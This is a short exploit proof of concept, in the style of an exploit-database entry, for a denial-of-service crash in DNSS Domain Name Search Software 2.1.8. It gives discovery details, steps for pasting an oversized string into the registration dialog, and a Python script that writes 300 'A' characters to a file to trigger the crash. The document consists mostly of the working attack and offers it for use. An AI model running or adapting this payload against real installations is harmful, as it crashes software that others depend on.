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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#Exploit Title: DNSS Domain Name Search Software 2.1.8 -  Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-12
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/dnss_setup.exe
#Tested Version: 2.1.8
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: DNSS_2.1.8.py
#2.- Open DNSS.txt and copy content to clipboard
#3.- Open Dnss
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name/Key" paste Clipboard
#6.- Click "Ok"
#7.- Crarshed
 
cod = "\x41" * 300
 
f = open('DNSS.txt', 'w')
f.write(cod)
f.close()